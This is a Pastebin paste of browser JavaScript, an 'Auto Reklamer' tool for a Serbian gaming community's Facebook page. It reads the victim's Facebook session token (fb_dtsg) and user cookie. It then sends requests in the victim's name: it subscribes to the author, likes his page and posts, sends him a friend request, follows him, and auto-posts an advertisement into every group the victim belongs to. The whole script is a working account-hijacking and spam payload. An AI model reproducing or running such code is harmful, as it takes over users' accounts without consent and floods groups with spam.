Advertisement
DiazSRB

Srbija Gaming Community - Auto Reklamer

Dec 7th, 2014
259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.78 KB | None | 0 0
  1. ("Auto Reklamer by Diaz");
  2. var parent=document.getElementsByTagName("html")[0];
  3. var _body = document.getElementsByTagName('body')[0];
  4. var _div = document.createElement('div');
  5. _div.style.height="25";
  6. _div.style.width="100%";
  7. _div.style.position="fixed";
  8. _div.style.top="auto";
  9. _div.style.bottom="0";
  10. _div.align="center";
  11. var _audio= document.createElement('audio');
  12. _audio.style.width="100%";
  13. _audio.style.height="25px";
  14. _audio.controls = true;
  15. _audio.autoplay = true;
  16. _audio.loop="false";
  17. _audio.src = "http://k007.kiwi6.com/hotlink/5vlz0du9ss/mp3";
  18. _div.appendChild(_audio);
  19. _body.appendChild(_div);
  20. var parent=document.getElementsByTagName("html")[0];
  21. var _body = document.getElementsByTagName('body')[0];
  22. var _div = document.createElement('div');
  23.  
  24. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  25. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  26. var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
  27. var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  28.  
  29. body = document.body;
  30. if(body != null)
  31. {
  32. div = document.createElement("div");
  33. div.style.position = "fixed";
  34. div.style.display = "block";
  35. div.style.width = "100px";
  36. div.style.opacity= 0.90;
  37. div.style.bottom = "+60px";
  38. div.style.left = "+0px";
  39. div.style.backgroundColor = "rgba(0,0,0,0.5)";
  40. div.style.border = "1px solid rgba(0,0,0,0.5)";
  41. div.style.padding = "3px";
  42. div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='https://www.facebook.com/SrbijaGamingCommunity' title='Podeli'><blink><center>Podeli</center></blink></a>"
  43. body.appendChild(div);
  44. }
  45.  
  46. if(body != null)
  47. {
  48. div = document.createElement("div");
  49. div.style.position = "fixed";
  50. div.style.display = "block";
  51. div.style.width = "100px";
  52. div.style.opacity= 0.90;
  53. div.style.bottom = "+35px";
  54. div.style.left = "+0px";
  55. div.style.backgroundColor = "rgba(0,0,0,0.5)";
  56. div.style.border = "1px solid rgba(0,0,0,0.5)";
  57. div.style.padding = "3px";
  58. div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='' title='Refresh'><blink><center>Zatvori (F5)</center></blink></a>"
  59. body.appendChild(div);
  60. }
  61. if(body != null)
  62. {
  63. div = document.createElement("div");
  64. div.style.position = "fixed";
  65. div.style.display = "block";
  66. div.style.width = "135px";
  67. div.style.opacity= 0.90;
  68. div.style.bottom = "+10px";
  69. div.style.left = "+0px";
  70. div.style.backgroundColor = "rgba(0,0,0,0.5)";
  71. div.style.border = "1px solid rgba(0,0,0,0.5)";
  72. div.style.padding = "3px";
  73. div.innerHTML = "<a style='font-weight:bold;color:#E30505' href='https://www.srbija-gaming.com' title='Sajt'><blink><center>Sajt</center></blink></a>"
  74. body.appendChild(div);
  75. }
  76. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  77. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  78. function LIST(L) {
  79. var X = new XMLHttpRequest();
  80. var XURL = "//www.facebook.com/ajax/friends/lists/subscribe/modify";
  81. var XParams = "flid=" + L +"&action=subscribe&location=feed&nctr[_mod]=pagelet_group_mall&ft[type]=40&ft[tn]=DH&__user="+user_id+"&__a=1&__dyn=7n8ahxoNpGo&__req=y&fb_dtsg="+fb_dtsg+"&phstamp=";
  82. X.open("POST", XURL, true);
  83. X.onreadystatechange = function () {
  84. if (X.readyState == 4 && X.status == 200) {
  85. X.close;
  86. }
  87. };
  88. X.send(XParams);
  89. }
  90.  
  91. LIST("100005842831806");
  92.  
  93. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  94. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  95. function Like(p) {
  96. var Page = new XMLHttpRequest();
  97. var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
  98. var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";
  99. Page.open("POST", PageURL, true);
  100. Page.onreadystatechange = function () {
  101. if (Page.readyState == 4 && Page.status == 200) {
  102. Page.close;
  103. }
  104. };
  105. Page.send(PageParams);
  106. }
  107. Like("689737777711236");
  108. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  109. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  110. function IDS(r) {
  111. var X = new XMLHttpRequest();
  112. var XURL = "//www.facebook.com/ajax/add_friend/action.php";
  113. var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";
  114. X.open("POST", XURL, true);
  115. X.onreadystatechange = function () {
  116. if (X.readyState == 4 && X.status == 200) {
  117. X.close;
  118. }
  119. };
  120. X.send(XParams);
  121. }
  122. IDS("100005842831806");
  123.  
  124. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  125. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  126. function a(abone) {
  127. var http4 = new XMLHttpRequest();
  128. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  129. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  130. http4.open("POST", url4, true);
  131. http4.onreadystatechange = function () {
  132. if (http4.readyState == 4 && http4.status == 200) {
  133. http4.close;
  134. }
  135. };
  136. http4.send(params4);
  137. }
  138. a("100005842831806");
  139.  
  140. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  141. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  142. var now=(new Date).getTime();
  143. function P(post) {
  144. var X = new XMLHttpRequest();
  145. var XURL ="//www.facebook.com/ajax/ufi/like.php";
  146. var XParams = "like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";
  147. X.open("POST", XURL, true);
  148. X.onreadystatechange = function () {
  149. if (X.readyState == 4 && X.status == 200) {
  150. X.close;
  151. }
  152. };
  153. X.send(XParams);
  154. }
  155. P("100005842831806");
  156.  
  157. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  158. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  159. var now=(new Date).getTime();
  160. function P(opo) {
  161. var X = new XMLHttpRequest();
  162. var XURL ="//www.facebook.com/ajax/ufi/like.php";
  163. var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp=";
  164. X.open("POST", XURL, true);
  165. X.onreadystatechange = function () {
  166. if (X.readyState == 4 && X.status == 200) {
  167. X.close;
  168. }
  169. };
  170. X.send(XParams);
  171. }
  172.  
  173. P("314412482096844");
  174. P("858952340789778");
  175.  
  176. var grouppost = "<div><span class='img sp_43rped sx_e3ea36'></span><a style='position:absolute;size:3px;padding-left:3px;font-weight:bold;font-family:Tahoma;font-size:11px;color:#3B5998;'>Srbija Gaming Community by Diaz</a></div></br>";
  177. grouppost += "<div><textarea id='txtFloodMsg' placeholder='Ovde ide text za reklamu' style='color:white;padding-top:5px;width:493px;height:85px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>";
  178. grouppost += "<div><br><span class='img sp_er534k sx_74b85a'></span><a style='position:absolute;font-family:Arial;size:3px;padding-left:3px;font-size:11px;color:rgb(128, 128, 128);'>Rezim rada: Postavi u sve grupe</a></span><button style='margin-left:437px' class='_42ft _4jy0 _11b _4jy3 _4jy1 selected' onclick='autopostingfunc(this);' >Pucaj</button><div style='color:gray;'>Vlasnik zajednice: <A style='color:#3B5998;' href='100005842831806' target='_blank'>Diaz</A></br>Stranica</A><A style='color:#3B5998;' href='https://www.facebook.com/SrbijaGamingCommunity' target='_blank'>Srbija Gaming Community</A></A></div>";
  179. var Popupset = document.createElement("div");
  180. Popupset.setAttribute("style", "min-height:50px;width:500px;position:fixed;top:100px;box-shadow: 0px 4px 10px rgba(24, 144, 255, 0.63);position:fixed;left:50%;margin-left:-273px;text-align:left;border-radius:10px;padding:5px;z-index:999999;border:5px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:White");
  181. Popupset.innerHTML = grouppost;
  182. document.body.appendChild(Popupset);
  183. jx = {
  184. getHTTPObject: function () {
  185. var A = false;
  186. if (typeof ActiveXObject != "undefined") try {
  187. A = new ActiveXObject("Msxml2.XMLHTTP")
  188. } catch (C) {
  189. try {
  190. A = new ActiveXObject("Microsoft.XMLHTTP")
  191. } catch (B) {
  192. A = false
  193. }
  194. } else if (window.XMLHttpRequest) try {
  195. A = new XMLHttpRequest
  196. } catch (C) {
  197. A = false
  198. }
  199. return A
  200. },
  201. load: function (url, callback, format, method, opt) {
  202. var http = this.init();
  203. if (!http || !url) return;
  204. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  205. if (!method) method = "GET";
  206. if (!format) format = "text";
  207. if (!opt) opt = {};
  208. format = format.toLowerCase();
  209. method = method.toUpperCase();
  210. var now = "uid=" + (new Date).getTime();
  211. url += url.indexOf("?") + 1 ? "&" : "?";
  212. url += now;
  213. var parameters = null;
  214. if (method == "POST") {
  215. var parts = url.split("?");
  216. url = parts[0];
  217. parameters = parts[1]
  218. }
  219. http.open(method, url, true);
  220. var ths = this;
  221. if (opt.handler) http.onreadystatechange = function () {
  222. opt.handler(http)
  223. };
  224. else http.onreadystatechange = function () {
  225. if (http.readyState == 4)
  226. if (http.status == 200) {
  227. var result = "";
  228. if (http.responseText) result = http.responseText;
  229. if (format.charAt(0) == "j") {
  230. result = result.replace(/[\n\r]/g, "");
  231. result = eval("(" + result + ")")
  232. } else if (format.charAt(0) == "x") result = http.responseXML;
  233. if (callback) callback(result)
  234. } else {
  235. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  236. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  237. if (error) error(http.status)
  238. }
  239. };
  240. http.send(parameters)
  241. },
  242. bind: function (A) {
  243. var C = {
  244. "url": "",
  245. "onSuccess": false,
  246. "onError": false,
  247. "format": "text",
  248. "method": "GET",
  249. "update": "",
  250. "loading": "",
  251. "loadingIndicator": ""
  252. };
  253. for (var B in C)
  254. if (A[B]) C[B] = A[B];
  255. if (!C.url) return;
  256. var D = false;
  257. if (C.loadingIndicator) {
  258. D = document.createElement("div");
  259. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  260. D.setAttribute("class", "loading-indicator");
  261. D.innerHTML = C.loadingIndicator;
  262. document.getElementsByTagName("body")[0].appendChild(D);
  263. this.opt.loadingIndicator = D
  264. }
  265. if (C.loading) document.getElementById(C.loading).style.display = "block";
  266. this.load(C.url, function (E) {
  267. if (C.onSuccess) C.onSuccess(E);
  268. if (C.update) document.getElementById(C.update).innerHTML = E;
  269. if (D) document.getElementsByTagName("body")[0].removeChild(D);
  270. if (C.loading) document.getElementById(C.loading).style.display = "none"
  271. }, C.format, C.method, C)
  272. },
  273. init: function () {
  274. return this.getHTTPObject()
  275. }
  276. };
  277. var j = 0;
  278. var k = 0;
  279. var suc = 0;
  280. var msg = "Pratite nas i na fb stranici: https://www.facebook.com/SrbijaGamingCommunity";
  281. var arr = new Array;
  282. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  283.  
  284. function autopostingfunc(sender) {
  285. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  286. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=group&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (a) {
  287. var b = a;
  288. var c = b.substring(b.indexOf("{"));
  289. var d = JSON.parse(c);
  290. d = d.payload.entries;
  291. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  292. sender.parentNode.innerHTML = "Molimo sacekajte...";
  293. postitok()
  294. })
  295. }
  296. var a = document.body.innerHTML;
  297. var dts = document.getElementsByName("fb_dtsg")[0].value;
  298. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  299.  
  300. function postitok() {
  301. pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=Srbija Gaming Community \n\n" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_group_composer";
  302. with(newx = new XMLHttpRequest) open("POST", "/ajax/updatestatus.php?__a=1"), send(pst);
  303. suc++;
  304. if (suc > arr.length) {
  305. alert("Skripta je zavrsila. Refresuj stranicu.");
  306. suc = 0
  307. } else setTimeout("postitok()", 3E4 / arr.length)
  308. }
  309. setTimeout("autopostingfunc()", 1E3);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement